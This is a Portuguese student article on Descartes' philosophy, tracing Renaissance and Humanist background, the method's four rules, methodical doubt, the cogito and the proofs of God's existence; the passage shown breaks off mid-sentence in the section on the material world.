O Pensamento Cartesiano

O Pensamento Cartesiano

O
Pensamento Cartesiano[1]


Karla Samara dos Santos Sousa[2]

Resumo

 

A conotação
teórica e referencial filosófica da disciplina História da Filosofia Moderna
permitiu a construção do presente trabalho. O objetivo deste artigo é delinear
sucintamente as bases, idéias e conseqüências do pensamento cartesiano. E
dentre o que será esmiuçado, enfatizar os elementos apresentados por Descartes
para a eclosão do novo pensamento filosófico. Sobressair-se-ão nesse sentido, a
formulação e caracteres do método, a dúvida metódica, as bases do “cogito ergo
sum”, as provas da existência de Deus, as regras da moral interina, bem como
seus pressupostos fundamentais: o Renascimento e o Humanismo. A fundamentação
do referente será abstraída de todo o pensamento cartesiano, especialmente da
obra Discurso do Método, dos estudos de Geovanni Reale e Dario Antiseri e de
Nicola Abbgnano. O pensamento cartesiano culmina entre os mais expressivos da
modernidade, justamente porque constrói de forma autêntica os argumentos que
provam à existência do homem enquanto ser pensante e consequentemente seu poder
cognoscível, após duvidar radicalmente de tudo que existe. Descartes parte da
construção de um método preciso constituído por regras metódicas para dele
justificar não só a substância pensante mas todos os ramos do saber; Deus, o
mundo, a moral etc. O referencial destas regras pauta-se nos conceito de
clareza, distinção e no conhecimento matemático. Em tese, Descartes
proporcionou através desses elementos uma reviravolta em todo o pensamento
filosófico. Tratou-se de uma mudança que fez ascender à centralidade do mundo
no homem, concretizando seu domínio na natureza e tão logo a revolução de maior
seqüela dos últimos tempos: a revolução científica.

 

Palavras –
chaves:
Método, Ser Pensante, Dúvida.

 

Renascimento e Humanismo: As Bases para a Modernidade

 

Entre a Idade Média e a Idade Moderna houve uma fase que não
caracterizava propriamente um período histórico, mas mais precisamente um
processo de transição do primeiro para o segundo, chamado Renascimento, que por
sua vez, incluiu uma corrente de pensamento denominado Humanismo. Os dois, sem
dúvida contribuíram notoriamente, pois trouxeram a eclosão da autonomia
racional e o espírito de liberdade do homem vigorante na modernidade. Embora,
não se tratando de uma ruptura radical com Idade Média, o propósito central do
Renascimento e do Humanismo foi abandonar a submissão do homem as explicações
teológica, trazendo com outra roupagem aquela aquisição de capacidade e de
poder encontrados no homem clássico.

A influência da Antiguidade neste caso foi preponderante, especialmente a
dos gregos e dos latinos. Mas é válido ressaltar que, tal retrospecção não
consistiu numa mera reprodução do antigo. O eixo central apenas voltou a ser o
homem.

Se na medievalidade o brilho era da religião e daquilo que é espiritual,
no Renascimento e no Humanismo surge a individualidade e a dúvida acerca do
centrado dogmatismo da Igreja; contudo os caracteres dessa transição não se
resumem a esses. O Humanismo levantou a bandeira da eloqüência e da sabedoria
clássica, já o Renascimento abriu as portas para a ciência. Por outro lado,
fizeram ressurgir dentro da filosofia nomes como Platão e Aristóteles. Para
tanto, é preciso um estudo minucioso do Humanismo quanto do Renascimento, pois
só assim é possível delinear suas particularidades e generalidades.

 

O Humanismo

O humanismo em seu sentido mais restrito indica: “a área cultural coberta
pelos estudos clássicos e pelo espírito que lhe é próprio, em contraposição com
a área cultural coberta pelas disciplinas cientificas”. (REALE, ANTISERI, 2005
p. 17)

Ou seja, o significado infere o estudo de ciências de formação espiritual
como filosofia e retórica e não de fins utilitaristas. Porém, a ênfase a ser
dada ao humanismo refere-se a sua acepção filosófica e não-filosófica.

O humanismo interpretado fora do pensamento filosófico revela: nessa
linha versa somente disciplinas do âmbito retórico-literário. Os humanistas
neste caso são mais literatos que filósofos. Seus estudos estão mais voltados
para a cultura e pedagogia que para a própria filosofia.

Mais tarde, se desenvolveria uma releitura de escritos aristotélicos (na
Itália), o que completaria a fase humanista. Para muitos só haveria filosofia
se houvesse esse complemento, pois nele residiriam todas as idéias filosóficas
da época. Em contraposição, o Humanismo filosófico parte de outras premissas.

Embora o conceito mais digno de Filosofia seja de um conhecimento
sistemático, teórico e contemplativo, a filosofia presente no humanismo possuiu
outros caracteres; “pode ser outro tipo de especulação, não sistemática,
aberta, problemática e pragmática”. (REALE, ANTISERI, 2005 p. 20)

A principal mudança estava no método e se examinar os problemas. Se
outrora o método significava apenas um instrumento para o conhecer, no
Renascimento Humanista ele era a própria Filosofia.

Esse novo meio de filosofar mostrou várias faces e uma delas foi à
dimensão histórica atrelada aquela sabedoria clássica autêntica. O sentido
histórico, por assim dizer é, sobretudo “a conquista do antigo como sentido na
história”. (REALE, ANTISERI, 2005 p. 21) O que se preza nessa perspectiva é
reconhecer o passado diferente do presente, atribuindo a cada momento destes
sua individualidade e irrepetibilidade. Entretanto, antes de mais nada, na
linha conceitual do humanismo o homem é aquele que afirma sua posição de ser um
ser inserido na natureza e na história. Em outros termos, a capacidade do homem
ratifica-se no humanismo quando ele se dispõe a traçar seu destino por
descobrir seu valor racional. Enfim, ele descobre sua liberdade e os meios para
se tornar feliz.

Portanto, a essência do ideal humanista foi bem além, pois, “rejeitaram a
herança medieval e escolheram a do mundo clássico como sendo aquela que achava
constituída pelos valores fundamentais que lhes eram mais caros”. (ABBAGNANO,
2000 p. 23)

Já sobre seus efeitos, os propósitos instigaram da antiguidade o velho
discurso da formação do homem como denota esse trecho:

“A
primazia que concederam ás chamadas letras humanas […] fundava-se na
convicção, igualmente herdada dos antigos, de que estas disciplinas são as
únicas que a educação com o homem como tal, levando a tornar consciência das
suas reais aptidões” (ABBAGNANO, 2000 p. 25)

E não de modo distinto se estruturou o Renascimento, que teve seus
caracteres sob outra óptica, mais marcantes para a modernidade.

 

O Renascimento

Numa maior escala, as pretensões humanistas estavam circunscritas no
fenômeno renascentista, que não deixou de ser o berço para a concretização
daquele. Do tradicional teocentrismo que cai por terra, emerge a renovação dos
poderes humanos, e isso é implicitamente o viés paradigmático do Renascimento.

O
homem renasce no ensejo de na sua conjuntura instigar frutos no campo
cientifico, na arte, na instrução e na investigação. A religião de antes se entrelaça
com o significado de mundo do presente renascentista, pois o fim último do
homem agora é o próprio homem.

Uma
característica importante do Renascimento como do Humanismo, já proferido
anteriormente é o retorno à antiguidade, ou propriamente as origens. E se nos
reportarmos ao conceito neoplatônico desse regresso seguramente poder-se-ia
dizer que tal conceito identificar-se-ia com Deus. O destino último e
verdadeiro do homem estaria na origem, ou seja, naquele ser imutável e perfeito
pelo qual tendemos a ascender em sua direção. Mas no Renascimento essa
concepção não é por total abandonada, como expressa as linhas subseqüentes.
Entretanto, no Renascimento esse retorno não mais é Deus; o regresso às origens
significa adentrar na origem terrena. Pico Mirandola, filósofo da época
enfatiza bem claramente que em concílio ao regresso a Deus, o homem deve
regressar a si mesmo, pois nisso consiste sua felicidade. Mas como isso
acontece? Essencialmente, quando o homem vai a sua origem, ou seja, quando do
passado traz sua história.

Muitos
poderiam se contrapor a esse acepção, uma vez que a história humana vai além do
mundo clássico. Contudo, os renascentistas escolheram o mundo antigo por que
nele é que se encontra a plena atuação da faculdade da razão do homem e é nela
que ele (homem) assegurou seu lugar privilegiado. A transposição do homem a
esse ponto foi uma conquista para a modernidade que se realizou junto a um
outro feito da mesma ou maior relevância: o surgimento da ciência.

 

O Surgimento da Ciência e o Renascimento

O ápice do Renascimento com certeza não foi à revolução científica, porém
por o humanismo renascentista tratar com muita veemência das relações entre o
homem e a natureza, ele entrementes possibilitou o surgimento ciência moderna.

A
investigação científica tomou por base a experiência e a observação, e para que
se efetivasse ultrapassou a fase das simples idéias, chegando a concretude.

O
discurso é claro: “[…] a observação e a experiência não são coisas que possam
limitar-se a ser anunciadas e programadas, não podem permanecer na fase de
simples idéias, têm que se empreender e levar efetivamente a cabo”. (ABBAGNANO,
2000 p. 28)

Os
pesadores dessa época propuseram que o conhecimento investigativo e de
observação só seria válido se posto ao lado da convicção de que o homem é capaz
de conhecer e de que é um ser inserido no mundo e pode “dominá-lo” pelo
conhecimento. Nesse sentido, a matemática de Galileu não foi diferente, a ela
também se incorporou esse pensamento.

De
modo mais amplo, estabeleceu-se uma autonomia do mundo natural, requisito da
investigação e do experimento, o que não deixou de ser um caractere
humanístico, visto que busca a compreensão de coisa no seu valor intrínseco.

Potencialmente,
a ciência moderna partiria do pressuposto de emaranhar o dado sensível natural
apto a observação e ao experimento junto a uma matemática esmiuçada.

È
certo afirmar que, o Renascimento possibilitou o progresso dessa investigação
experimental da natureza já que em suas entrelinhas indicava;

“O homem não é um hóspede
provisório da natureza, mas sim ele próprio um ser natural cuja pátria é a
natureza; […] o homem como ser natural, possui tanto o interesse como a
capacidade de conhecer a natureza; […] a natureza só pode ser interrogada e compreendida
por meio dos instrumentos que ela própria fornece ao homem”. (ABBAGNANO,
2000 p. 30).

Porém, esses são
apenas alguns dos elementos que presumem o legado da ciência moderna.

Diametralmente,
o aristotelismo renascentista ganhava méritos quando na ordem natural, seguia a
lei das causas e efeitos. Esse preceito tornou-se o ponto chave da investigação
científica.

Outro
elemento mostrado no fenômeno renascentista que deu também contribuição a
ciência moderna foram às idéias contidas na Magia; estas influenciaram no
caráter ativo e operante da ciência, uma vez que puseram a serviço do homem as
forças naturais, mesmo que essas possua certo domínio sobre si.

E
por fim, se observado bem na Idade Clássica, Platão e Pitágoras faziam
referencia a matemática. Essa idéia patenteou mais tarde todo o pensamento de
Copérnico e Galileu. Segundo eles e a maioria dos modernos “a natureza
apresenta-se escrita em caracteres matemáticos e a linguagem própria da
natureza é a matemática”.

Em
síntese, no conjunto totalizante que compunha o Renascimento, o naturalismo
antes visto agora flui para seu último resultado: a ciência. São entrelaçados
nesse sentido, tanto o aristotelismo renascentista “que elaborava o conceito da
ordem necessária da natureza”, quanto o platonismo, “que insistira na estrutura
matemática da natureza”. E ainda, a magia, “que havia patenteado e difundido as
técnicas operativas destinadas a subordinar a natureza ao homem” e o pensamento
de um douto da época – Telésio, “que afirmava a autonomia da natureza, a
exigência de explicar a natureza por meio da natureza”.

Contudo,
nem todas essas idéias sobreviveram às reformulações impressas para a eclosão
da ciência moderna, pois se por um lado o eliminava-se as noções metafísicas e
teológicas a que pertenciam essas idéias, por outro libertava-se da magia e da
filosofia de Telésio. Então, pode-se ver nitidamente que restou desses
elementos foi à certeza que incitaram o surgimento de uma ciência objetiva e
reduzida às leis mensuráveis e matemáticas.

Portanto,
o fenômeno renascentista humanista realizou não somente uma mudança em relação
ao pensamento medieval. A partir deles, a investigação cientifica que culminou
na Modernidade, trouxe uma nova concepção de mundo.

Contribuíram
muitos nesse propósito. O direcionamento dado à modernidade foi único, no
sentido que se pôde perceber que o mundo não mais seria o mesmo. A finitude de
antes da natureza abre-se para um infinito repleto de caminhos, e nesse cenário
o homem é um ser natural capaz de planear seus passos, pois já não está preso a
teologia.

De
certa forma, as pilastras caíram e para reerguerem-se novos edifícios o
conhecimento do homem precisou transcender. A propositura deixada pelo
Renascimento é simples: “o conhecimento humano do mundo não é um sistema fixo e
concluído, mas sim o resultado de tentativas sempre renovadas e que devem ser
continuamente submetidas à verificação”. (ABBAGNANO, 2000 p. 32).

São
essas as marcas que instigaram os modernos a descobrirem e a compreenderem o
novo homem que surgia, bem como o meio que o circunda. O mais expressivo deles
foi Descartes, no qual seu pensamento é o objeto especifico desse trabalho. O
pensamento cartesiano é notável, sobretudo pelo direcionamento
que deu a filosofia e a ciência. Descartes é chamado “pai da filosfia e da matemática moderna”,
justamente por seu contributo e influência na história.

 

Descartes e a trajetória de suas ideias

O
filósofo que marcou decisivamente a Idadade Moderna foi Descartes devido a sua
acuidade para com o problema do conhecimento. Com efeito, proporcionou uma
revolução de todo o pensamento ocidental, pois construiu o alicerce para o desenvolvimento
da ciência.

Na
filosofia cartesiana o homem é agente ativo e participativo e o mundo inteira
objetividade. Embora pareça tratarem-se de uma resolução definitiva, essas
máximas para Descartes significaram o inicío de um problema que precisaria ser
posto ao crivo da dúvida, para enfim adentrar na verdade absoluta.

Mas,
a precisão do pensamento cartesiano recai principalmente em torno da
reviravolta dada em torno da natureza humana e seu poder cognoscível, em
contraponto a tradição dogmática da medievalidade. Todas essas ideias estão
contidas em suas obras mais célebres, e a forma que ele as escreve não deixa de
ser peculiar.

Descartes
parte de si próprio para desvelar o enigma do homem, e a exemplo de Montaigne
conduziu seu pensamento na primeira pessoa, porém nele os resultados
encontrados valem para todos os homens.

 

O Valor da Reta Razão

Quando
Descartes se propôs buscar a verdade a partir de si ele foi bem além. A
primeira certeza posta por nosso filósofo constitui o sustentáculo elementar de
seu pensamento. Ele atribuiu a razão o poder substancial de conhecer o
verdadeiro, por isso foi um extremo racionalista. Assim ele pôde justificá-la,
afirmando que esta é igual em todos os homens. “Aquilo que é mais íntimo e
singular a natureza humana, a razão ou bom senso é a coisa mais bem distribuida
no mundo”. (DESCARTES, 1997 p. 05) A razão permite ao homem separar o
verdadeiro do falso, já as opiniões se aplicam aos objetos e cuida por tentar
persuadir a razão.

Essa
faculdade de distinguir o que é verídico daquilo que é enganador, ou seja, a
razão intrínseca ao homem, possui caráter universal. Mas a universalidade da
razão para Descartes se restringe ao homem e Deus neste caso só a garante,
diferente do que pensavam os clássicos que afirmavam que a razão é essência da
divindade e o homem só a possui quando nele pera.

A
garantia de Deus fornece a razão apenas um lado da moeda, o resto diz respeito
a autenticidade de regras precisas. Sua plena atuação está para o homem e para
o conhecimento. A razão opera através da ação do primeiro e da ordem do segundo
e não descobrindo a Deus. Essa última instância Descartes leva a cabo os
antigos preceitos renascentistas de mundanizar e humanizar a razão, vez que o
fim último desta é a ciência e a matematização das coisas.

Da
matemática, mais notável produto foi a descoberta do método. Na natureza do
método é que se encontra a razão, pois os dois em si não são a mesma coisa. Na
proporção em que há clareza e distinção das ideias, a razão desta participa.
Esse preceito tornou-se fundamental no procedimento do método e está presente
na sua primeira regra.

Descartes
tal qual Sócrates perseguia incessantemente a verdade. O primeiro pelo método
maiêutico, o segundo pelo ideal de clareza e distinção. O propósito socrático
por vezes era inalcançável, já o de Descartes incorria no risco de virar uma
tarefa puramente especulativa. Contudo, Descartes conseguiu traduzir sua
especulação em prática. Isso seria possível somente na mão de homem que poderia
dominar a natureza a partir da clareza e da distinção.

O
método funda-se na unidade e na simplicidade da razão comum nos homens. Só
assim, segundo Descartes pode ser aplicado a todo o domínio do saber.

 

O Fundamento do Método e seu Escopo

O
ponto de partida do método carteziano procede do prestígio da matemática em seu
pensamento. No Discurso do Método Descartes revela que a escolha da matemática
no início ainda não o tinha por inteiro convencido, porém seu sólido
embasamento surpreendia-o. Assim ele afirmava:

“comprazia-me
sobretudo com as matemáticas, por causa das certeza e da evidência de suas
razões, mas não percebia ainda seu verdadeiro uso, e pensando que só serviam
para as artes mecânicas, espantava-me de que, sendo tão firmes e sólidos seus
fundamentos, nada de mais elevados se tivesse construído sobre eles”.
(DESCARTES, 1997 p. 11)

Desse
modo, a matemática se infiltrou no método e o que restou a Descartes foi
justificá-lo. Em tese, o valor do método dependia de sua aplicaçã universal e
de seu fundamento último, a razão. Nesse sentido, o método cartesiano
esmiuçou-se em quatro regras metódicas que agora podiam justificar a
fecundidade do método e sua aplicação as várias classes do saber humano.

As
regra do método foram, portanto, formuladas tendo em vista seu referecial
matemático, seu valor universal e seu cumprimento nos vários ramos do saber.

Para
Descartes, a construção do método “pode chegar ao conhecimento de todas as
coisas de que […] o espiríto seja capaz” (DESCARTES, 1997 p. 21)

Na
obra Regulae ad directionem ingenni ele propôs vinte e uma regras que se
reduziram a quatro no Discurso do Método, isso para evitar prolixidades.

A
primeira regra denomina-se regra da evidência. Eis seu enunciado:

O primeiro era de
nunca aceitar coisa alguma como verdadeira sem que a conhecesse evidentemente
como tal, ou seja, evitar cuidadosamente a precipitação e a prevenção e nem
incluir em meu juízos nada além daquilo que se apresentasse tão clara e
distintamente ao meu espírito, que eu não tivesse nenhuma ocasião de pô-lo em
dúvida” (DESCARTES, 1997 p. 23)

Para
Descartes, a origem do erro elencado na primeira regra surge de duas atitudes
que sem dúvida obstruem o acesso ao conhecimento verdadeiro e são elas: a
precipitação e a prevenção. Entende-se por prevenção a vulnerabilidade de nosso
espiríto em se deixar persuadir por opiniões e ideias alheias, a ponto de não
se verificar sua veracidade. No pensamento cartesiano as opiniões consideradas
cristalizadas que tiram o poder investigativo e de pensamento do homem estão
atreladas exatamente ao forte dogmatismo da medievalidade. Contudo, a fonte do
erro assume também uma outra vertente e desta vez ligada a sensibilidade.

O
cartesianismo distinguiu o conceito de pensamento e de julgamento como duas
esferas distintas no que se refere a probabilidade do erro; o primeiro quando
tomado pela clareza e distinção fica imune, o segundo por agir pela vontade
torna-se susceptível. O que interessa neste caso é que a fonte do erro é a
precipitação.

No
rol de conhecimentos sensíveis, imaginativos e de memória o espírito tende em
apressar a emissão de juízos sobre as coisas antes de verificarmos se são
verdadeiros ou não. Isso acontece porque nossa vontade se sobrepõe a ação de
nosso intelecto.

A
regra da evidência reporta a verdade aquilo que se apresenta de modo imediato
ao espiríto, logo o ato racional utilizado por ela é a intuição. A intuição
carteziana permite que o intelecto recolha quaisquer ideias e as torne
transparente a si mesmo, sem nenhum teor de dúvida. Essa regra ainda traz a
clareza e a distinção como bases para uma ideia evidente, sendo a clareza a
ideia presente no intelecto e a distinção a separação de tudo aquilo contido em
outras ideias.

Pode-se
dizer que a intuição está intrinsicamente ligada a evidência e até mesmo
posiciona-se como sendo o ato factual desta.

A
segunda regra é chamada regra da análise ou divisão e é conceituada da
seguinte forma: “[…] dividir cada uma das dificuldades que examinasse em
tantas parcelas quantas fosse possível e necessário para melhor
resolvê-las” (DESCARTES, 1997 p. 23). Esta regra pretente separar o falso
do verdadeiro, patentear o problema em si retirando suas considerações
secundárias; bem como decompondo o problema em partes simples afim deixá-
las prontas para a aconteça intuições precisas sobe elas.

A
terceira regra é a da síntese. Ela afirma: “conduzir por ordem meus
pensamentos , começando pelos objetos mais simples e mais fáceis de
cohecer, para subir pouco a pouco, como por degraus, até o conhecimento
dos mais compostos;e supondo certa ordem mesmo entro aqueles que não se
precedem naturalmente uns aos outros”. (DESCARTES, 1997 p. 23)Essa regra
implica inicialmente que todo conhecimento seja ordenado. A ordem nesse caso,
pressupõe outro ato racional, a dedução. A sequência dada por Descartes é
clara: as ideias simples agora são relativizadas a outras ideias por meio de
raciocínios. O que se busca nessa regra é estabelecer o nexo entre as ideias
numa determinada ordem sempre que for necessário. Assim, se a intuição está
para evidência, a dedução é essencial na quarta regra da síntese.

A
quarta e úlima regra é conhecida como a regra da enumeração. A regra diz:
“fazer em tudo enumerações tão completas, e revisões tão gerais que eu tivesse
certeza de nada omitir”. (DESCARTES, 1997 p.23) A regra da enumeração permeia
tanto a análise quanto a síntese. Ao mesmo tempo que reestrutura o conhecimento
pela ordem dedutiva reconduz este a primeira regra que se vale do ato
intuítivo. Ou seja, a enumeração possibilita uma revisão completa dos
raciocínios e suas ligações deixado-os outra vez tão claros e distintos.

Todas
essas regras não se auto-justificam utilizando-se somente dos conhecimentos
matemáticos. Se assim o fosse sua fecundidade estaria nos fins práticos da
própria matemática, logo seria inaplicável a outros ramos do saber. Por esse
motivo, Descartes remete a justificação das regras metódicas e sua raíz
principal, isto é, a atividade racional do homem.

 

Cogito ergo sum, a Ùnica Certeza Absoluta

Para
Descartes fundamentar o real valor do método ele recorreu a uma atitude radical
– criticar sem excessões todos os âmbitos do saber. Para nosso filósofo era
preciso suspender todos os conhecimentos estabelecidos e dogmatizados e aqueles
postos a ação corrosiva da dúvida seriam tomados por falsos. Nessa árdua
atitude poder-se-ia encontrar finalmente um princípio eximido da dúvida no qual
os outros conhecimentos pudessem se servir.

Quando
Descartes se propôs lançar a dúvida sobre o conhecimento, nas entrelinhas ele
já postulava o caráter incerto e problemático destes, o que remeteria sempre a
essa atitude de desconfiaça.

Por
outro lado, a dúvida implica a impossibilidade de aceitar os conhecimentos como
tais, o que por um instante coloca-os em status de falsidade. Descartes então
afirma: “desejava ocupar-me somente da procura da verdade […] e rejeitar como
absolutamente falso tudo em que pudesse imaginar a menor dúvida, a fim de ver
se depois disso não restaria em minha crença alguma coisa que fosse
inteiramente indubitável”. Em última análise, a dúvida reportaria a um segmento
de negação das coisas, mas essa seria uma visão pessimista e errônea acerca do
pensamento cartesiano e impróprio dele.

Diferente
da dúvida cética que não leva a nenhum caminho, a não ser duvidar por duvidar
e incorrer no risco de se transformar num frio niilismo, a dúvida metódica
atua no ensejo de alavancar uma certeza absoluta e patente de clareza e
distinção.

A
dúvida cartesiana alcança todos os níveis do conhecimento desde os sensíveis
que através dos sentidos são por vezes enganadores, até os sonhos que não
distinguem as coisas no acordar e no dormir.

Portanto,
a resolução da dúvida submete o homem a nada aceitar se antes não conhecer a si
próprio e sua origem. Essa perpectiva não o impede de supor que sua criação
depende de uma potência maligna desejosa de enganá-lo com conhecimentos
ilusórios e aparentemente verdadeiros. Fica nítido desse modo, que a dúvida
ultrapassa todos os limites e estende-se a todas as coisas, o que o torna sem
pré-requisitos universal.

Entretanto,
a medida que levo a dúvida a sua mais alta radicalidade se desvela nela uma
primeira certeza. Certamente, posso enganar-me ao admitir que não existe nada
que se apresente ao meus olhos, como por exemplo, a luz, o sol, aquele livro e
até meu corpo, mas para que eu seja enganado é preciso consentir que eu que as
penso seja alguma coisa e não o nada.

Assim,
a premissa: “penso, logo existo” é indubitavelmente verdadeira, pois a própria
dúvida a confirma. Foram esses então, os passos percorridos por Descartes para
principiar os traços da nova filosofia. Assim ele revela;

“antecipei que,
enquanto queria pensar que tudo era falso, era necessariamente preciso que eu
que o pensava fosse alguma coisa. E notanto que esta verdade penso, logo existo
[…] julguei que podia admitir sem escrúpulo como o primeiro princípio da
filosofia que buscava”. (DESCARTES, 1997 p. 38)

Tal
máxima indica aquilo que sou quando existo. Não se trata obviamente de uma
exitência corporal, pois desta a dúvida ainda permanece. A minha existência
neste caso é de uma coisa que duvida, ou seja, que pensa.

O
meu existir concebe-se apenas pelo meu pensamento e suas atribuições, seja pela
dúvida, pela negação, pelo querer, pela imaginação, enfim por tudo que eu tomo
consciência dentro de mim. Talvez essas atribuições não sejam reais enquanto
coisas duvidadas, negadas, queridas e imaginada, mas certamente é real o meu
pensar, sentir, imaginar sobre elas.

Descartes denomina a natureza dessa existência
de res cogitans, ou realidade pensante, que significa tão somente o espiríto, a
intelecção e a razão própria do homem. O conceito de pensamento dado por
Descartes é “tudo aquilo que existe em nós de tão factual que sejamos
imediatamente conscientes dele”, (REALE, ANTISERI, 2005 p. 365), ou seja, sua intenção é tornar algo transparente a si mesmo a partir de um ato
intuitivo pautado, sobretudo na clareza. Esse pressuposto invalida a concepção
de que o cogito ergo sum seja um raciocínio, vez que não requer demonstração,
nem recorre a nenhum outro conhecimento, mas capta a veracidade deste num
único ato intelectual, pensado em si mesmo.

O
cogito ergo sum consquistou a certeza da existência do homem enquanto ser
pensante e por meio das regras do método ratificou essa certeza. No meu existir
está implicito a clareza e a distinção que agora fundamentam a filosofia que
Descartes buscava. Com efeito, o método é assegurado pela consciência racional
e a consciência racional se funda no método.


portanto, uma transformação paradigmática no saber filosófico; de ciência do
ser passa a concentrar-se no homem e de modo específico, na sua consciência
racional.

A
referência do cogito cartesiano apresentado anteriormente por Sto. Agostinho
possui em tese outros fins se comparado ao antigo. O cogito agostiniano
revela: “se fallor sum”, ou seja, “se duvido, existo”. Neste caso, a dúvida
também remete a existêcia do ser, mas o objetivo deste é o reconhecimento da presença
de Deus no homem e não do homem em si, como propõe o cogito cartesiano.

Uma
outra divergência entre o cogito e seu precedente é que neste a certeza
encontrada não se encerra, mas abre-se para a problemática que dele deriva. O
cogito cartesiano parte para desvendar a realidade diversa do eu.

Com
isso, Descartes dá um passo a frente dos antigos, pois o seu cogito estabelece
uma relação do eu consigo mesmo e interfere diretamente na explicação daquilo
que é real fora do eu. E é dessa problematicidade que ele formula as provas da
existência de Deus.

 

O Papel de Deus no Pensamento Cartesiano

Como
já foi explicitado, o cogito fundamenta a existência do homem somente na
interioridade do seu eu, ou seja, na res cogitans. Porém, não se limita nele.
Ele se abre para uma realidade do mundo, totalmente diversa do eu pensante. A
minha existência é de um ser pensante, dotado de ideias. Por exemplo, posso
pensar no sol, nas estrelas, mas não tenho segurança do seu valor objetivo,
isto é, não sei se essas ideias existem ou não na realidade.

A
questão chave da problemática cartesiana da abertura do cogito para além da res
cogitans, está em provar que as coisas possuem uma realidade fora do
pensamento. Assim, Descartes apresenta três categorias de ideias como resposta
a tal questão:

“ideias inatas,
isto é, as que encontramos em nós mesmos, nascidas junto com a nossa
consciência; ideias adventícias , isto é, as que vem de fora de nós e nos
remetem a coisas diferentes inteiramente diferentes de nós, ideias facticias ou
construidas por nós mesmos”. (REALE, ANTISERI, 2005 p. 369)

O
valor dessas ideias não está na sua realidade subjetiva, ou seja, como
pensamentos do espírito, disso é certo sua existência; a consideração
pertinente a elas volta-se a sua objetividade, que por sinal são bem diferentes
se consideradas entre si. E entendendo desse ponto de vista, conseguimos
extrair delas suas causas produtoras.

As
ideias factícias são as únicas construídas por nós mesmos, logo são quiméricas
ou inventadas arbitrariamente, portanto, não merecem atenção. Relativo as
ideias adventícias poder-se-ia dizer que o que garante sua objetividade são a
clareza e a distinção, mesmo elas vindo de faculdades sensíveis e imaginativas.
Porém, a certeza que temos é da nossa existência em sua atividade cogitativa e
não da percepção e memória próprias dessas ideias, nem de sua clareza e
distinção.

Em
síntese, para determinar o caráter objetivo de tudo aquilo que nos é
cognoscível, Descartes propõe o problema da existência e papel de Deus.

A
forma pelo qual Descartes prova a existência de Deus difere da medievalidade,
no sentido de não mais partir daquela fé sobrenatural, mas ele a prova por meio
do próprio homem, isto é, de sua consciência. Por outro lado, tratando-se do
seu conteúdo essencialmente é o mesmo.

Descartes
segue duas linhas em especial para provar a existência de Deus, uma pelo seu
efeito e a outra por sua natureza.

Se
nas ideias sobre as coisas naturais e sobre os outros homens eu posso
interferir e tê-las produzidas por mim mesmo, já referente a ideia de Deus isso
não acontece igualmente. A ideia de Deus é uma ideia inata e traz as
características de eternidade, onisciência, onipotência que eu não concebo como
uma ideia criada por mim, visto que eu não possuo nenhuma das perfeições
representadas nessas ideias. Assim Descartes afirma: “que ela só podia ter sido
inculcada em mim por uma natureza que fosse verdadeiramente mais perfeita do
que eu, e que até tivesse em si todas as perfeições de que eu poderia ter
alguma ideia, isto é, para explicar-me numa só palavra que fosse Deus”.
(DESCARTES, 1997 p.40) Em outras palavras, Descartes afirma que a ideia deve
ter sempre a mesma perfeição que a sua causa. Desse modo quando concebo a ideia
de Deus também revelo sua existência.

Não
trata-se de um príncipio de causa tipicamente medieval, que remete a causa
primeira através das coisas sensíveis; a causalidade cartesiana de Deus
pressupõe sua simples ideia inata e ascende de seu conteúdo enquanto ideia para
seguir a sua causa.

A
maioria das provas da existência de Deus proposta por Descartes tomam por base
a finitude do homem. Segundo ele, o homem afirma sua finitude, pelo simples
fato de que duvida, o que consequentemente demonstra-lhe que se fosse ele a
causa de si mesmo, teria nele todas as perfeições contidas na ideia de Deus e
não aquelas imperfeições que revelam a realidade. Descartes pois, chega a
conclusão que “devia existir algum outro mais perfeito, do qual tivesse
adquirido tudo o quanto tinha”, (DESCARTES, 1997 p.40) isto é, o homem possui
apenas a simples ideia de Deus e dessa chega chega a Sua existência e a certeza
de ter sido criado por Outrem. Em suma, a finitude intrínseca ao homem remete a
relação causal com Deus, relação essa que se funda na ideia imediata de Deus no
homem.

Nitidamente,
as provas supracidas partem da ideis de Deus em relação com a finitude humana.
Mas Descartes ainda apresenta uma outra prova peculiarmente escolástica, que
traz desta vez a natureza do Ser Sobreno.

Na
Idade Média, Santo Anselmo de Aosta já pretendia provar a existência de Deus a
partir da simples ideia de Deus, sem atrela-lhe nem o homem e seus
constitutivos. Tratava-se da prova ontológica reproduzida posteriormente por
Descates provido de seus elementos lógicos matemáticos. Assim, nosso filósofo
volta seu pensamento nesse sentido e afirma:

“a ideia que eu
tinha era de um ser perfeito, achava que nele a existência estava compreendida,
do mesmo modo ou com mais evidência ainda, que na de um triângulo onde está
compreendido que seus três angulos são iguais a dois retos, ou na de uma
esfera, que todas as suas partes são equidistantes do centro, e que por
conseguinte, é pelo menos tão certo que Deus, que é esse ser perfeito, e ou
existe, quanto pode ser qualquer demonstração de geometria”. (DESCARTES, 1997
p.42)

Essas
mensões feitas por Descartes consideram portanto, Deus enquanto sua essência.

Ambas
as provas denotam em comum a ideia de Deus em contraposição a natureza finita
do homem e constroem argumentos necessários para explicar que a causa dessa
ideia é Deus, que é perfeito.

O
procedimento utilizado por Descartes é bem similar a investigação que o homem
faz chega a certeza de si, o que garante em última instância o critério da
evidência.

Descartes
ainda afirma que o homem quando usa corretamente a faculdade do juízo não pode
enganar-se, pois ela foi concedida por Deus que é perfeito, e por tal perfeição
justamente, não pode ser enganador. Esse preceito torna-se essencial para a
função que Descartes atribui a Deus.

O
Deus cartesiano é princípio e garantia da verdade, autor da ordem do mundo e
das verdades eternas. Sobre as verdades eternas, Descartes profere que Deus as
criou da mesma forma que criou todas as outras criaturas por um ato voluntário
seu. Nesse caso, poder-se-ia se pensar que o pensamento cartesiano estaria em
paradoxo, pois Deus seria seguindo sua linha de raciocínio dado somente como a
garantia das verdades e independentes delas. As verdades eternas estariam
independentes de Deus a medida que sua natureza permitisse. Mas se assim o
fosse coincidiriam a razão divina com a razão humana, o que não é possível no
pensamento cartesiano.

Deus
segundo Descartes, possui a capacidade ímpar de infinidade potencial e o homem
de infinidade intelectiva. Ou seja, a razão é especificamente uma faculdade
humana.

O Mundo e a Materialidade das Coisas

Após
Descartes demonstrar a confirmação da fecundidade das regras do método a partir
da existência de Deus, ele adentra seu domínio nos outros ramos do saber, em
especial do saber científico aprofundando as ideias adventícias.

A
regra da evidência agora possibilita cessarem-se as dúvidas acerca da
objetividade das coisas materiais. A faculdade passiva que me faz sentir
e imaginar, ou propriamente receber as idéias sensíveis torna-se indubitável ao
passo que nela se completa outra faculdade capaz de formar e produzir essas
idéias, e essa é a faculdade ativa. Com efeito, a faculdade intelectiva se
